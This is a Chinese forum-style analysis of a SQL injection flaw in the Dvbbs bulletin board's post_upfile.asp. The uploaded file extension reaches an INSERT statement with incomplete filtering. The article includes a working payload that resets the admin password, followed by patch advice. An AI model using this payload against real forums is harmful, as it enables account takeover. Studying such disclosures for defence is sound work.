前段時間聽說動網的上傳再次出現了不可修復的錯誤,有人居然說是upload.inc有錯,我仔細的讀了N遍代碼,可以肯定的說,upload.inc應該沒有辦法利用,今天無意中跑到動網的官方網站上去仔細的看了一下,個人資料修改里有上傳,但是發帖里卻沒有上傳,upload.asp和post_upload.asp同樣用到了upload.inc,證明這個文件絕對沒有問題,那問題一定出在post_upfile.asp上了,打開這個文件再次通讀一遍!
一看
If upload_ViewType<>999 and F_Type=1 then
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
Else
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
有sql語句,難道傳說中的上傳再次利用是注入而不是上傳,那我們就把他提交的變量每一個來通讀一下
Dvbbs.BoardID,Dvbbs.UserID,Dvbbs.membername,F_Viewname,F_Type,Filesize這幾個是肯定沒有問題的,其它的幾個我們就來看一下,這幾個變量從哪來的,怎么得到的!
先說第一個replace(rename,"|","")把rename里的"|"這個符號去掉,我們看看rename的變量怎么來的,rename=createPath&Filename&"|"
是用createpath和filename連接起來再加上"|"生成的,"|"符號在后面被過濾了,可以不用考濾,再分別看看creatpath和filename
File_name = createName()
Filename = File_name&"."&FileExt(由file_name和fileExt聯合起來的)
Private Function createName()
Dim ranNum
Randomize
ranNum=int(999*rnd)
createName=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum
End Function
很明顯,file_name是按年月日加隨機數生成的,沒有辦法利用,疑點就在fileExt了。。。。。
難道,傳說中的就要出現了,先不慌,我們先看看其它的地方
而creatpath又是這樣來的
Private Function createPath()
Dim objFSO,Fsofolder,uploadpath
uploadpath=year(now)&"-"&month(now) '以年月創建上傳文件夾,格式:2003-8
On Error Resume Next
Set objFSO = Server.createObject("Scripting.FileSystemObject")
If objFSO.FolderExists(Server.MapPath(CheckFolder&uploadpath))=False Then
objFSO.createFolder Server.MapPath(CheckFolder&uploadpath)
End If
If Err.Number = 0 Then
createPath=uploadpath&"/"
Else
createPath=""
End If
Set objFSO = Nothing
End Function
creatpath又是用uploadpath加上fso按年月生成的,例如uploadfile/2004-11之類的,這樣,又不能利用
好,這里發現一個疑點了
我們再看另一個變量replace(FileExt,".",""),直接就是前面提到的有疑點的那個fileExt了,呵呵,看準了,就是他了。我們把他的來龍去脈全找出來,看看能不能利用
Set File=upload.File(FormName) ''生成一個文件對象
FileExt=FixName(File.FileExt)
在這里,他開始出現了
file.fileExt這個不是我們提交的擴展名嗎,玩過動網上傳的都知道,抓個包,改個擴展名這是蠻正常的事,看來有門了,至少我們這個地方可以利用,====,FileExt=FixName(File.FileExt)他還用fixname來過濾了的,我們看看這個函數有什么用
Function FixName(UpFileExt)
If IsEmpty(UpFileExt) Then Exit Function
FixName = Lcase(UpFileExt)
FixName = Replace(FixName,Chr(0),"")
FixName = Replace(FixName,".","") 哈哈,把.替換成空了,為什么動網sp2的上傳利用不了,就在這里的原因
FixName = Replace(FixName,"asp","")把asp替換成空
FixName = Replace(FixName,"asa","") asa過濾
FixName = Replace(FixName,"aspx","") aspx過濾
FixName = Replace(FixName,"cer","") cer過濾
FixName = Replace(FixName,"cdx","") cdx過濾
FixName = Replace(FixName,"htr","") htr過濾
End Function
哈哈,全部只是過濾了一些特殊的地方,但是我們如果拿來注入用到的引號,分號,逗號,--,一個都沒有過濾,也就是說是通行無阻了,嘎嘎,接下來就是用到構造語句了,我們再來看他的sql語句
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)
在values后面
"&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"
這些全部是正常的,我們改了fleExt后,rename也跟著變化了,所以實際上后面的&replace(FileExt,".","")&這里我們就可以不管了,只要構造前面的rename,再看看reanme是如何來的
rename=createPath&Filename&"|"
File_name = createName()
Filename = File_name&"."&FileExt
createpath是正常的一串值,可以不計,file_name也是正常的值可以不計,中間有一個.可以不計,后面的"|"他幫我們自己過濾了,可以不計.我們假設他的語句為
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("1","1",'"user"','uploadfile/2004-11/2324128374912.jpg','user','jpg',"1","1000",4)
這是一條正常的語句,我們能利用的地方就是jpg,這個地方是我們包里可以傳送過去的,是本地的文件擴展名,那我們就把jpg構造成具體的完整的sql語句。
比如jpg替換成
jpg','user','jpg',"1","1000",4);update dv_admin set userpasswrod='123' where username='admin'--jpg
(說一句,他的f_type是用來檢測文件類型的,如果是1,也就是圖片就執行的前一條sql語句,如果是其它就執行的后一條語句,具體的代碼在這里
F_Type = CheckFiletype(FileExt)
checkfiletype函數的代碼又是這樣的
Private Function CheckFiletype(FileExt)
Dim upFiletype
Dim FilePic,FileVedio,FileSoft,FileFlash,FileMusic
FileExt=Lcase(Replace(FileExt,".",""))
select Case Lcase(FileExt)
Case "gif", "jpg", "jpeg","png","bmp","tif","iff"
CheckFiletype=1
Case "swf", "swi"
CheckFiletype=2
Case "mid", "wav", "mp3","rmi","cda"
CheckFiletype=3
Case "avi", "mpg", "mpeg","ra","ram","wov","asf"
CheckFiletype=4
Case Else
CheckFiletype=0
End select
End Function
這里也用到了fileExt這個變量,也就是我們的擴展名
去掉所有的".",然后再去取后的擴展名,所以我們的語句最后結束時要用考濾到這個,因為第一語句和第二語句構造方法不一樣的!)
嘎嘎,dv_admin里的admin的userpassword就被改為123了.
如果是access版的好像有點難度,分號是不能多語執行的,又不是where條件,不能拿來猜測,而且values的值好像不能用select 來把其它的值填入,只有把整個select 的值拿來返回做為記錄加入,沒辦法在values里單獨取值,有沒有人能有辦法構造出這個完美的語法來,教教偶,偶sql水平不是蠻高,access版的暫時還沒有想到完整的辦法。
文章至些結束了,最重要的要說的就是所有的放入到sql語句里的參數都要嚴格檢測,這個地方的補丁一個是在fixname()函數里過濾,如果不會的暫時就先關掉發帖上傳的功能吧,等補丁!:)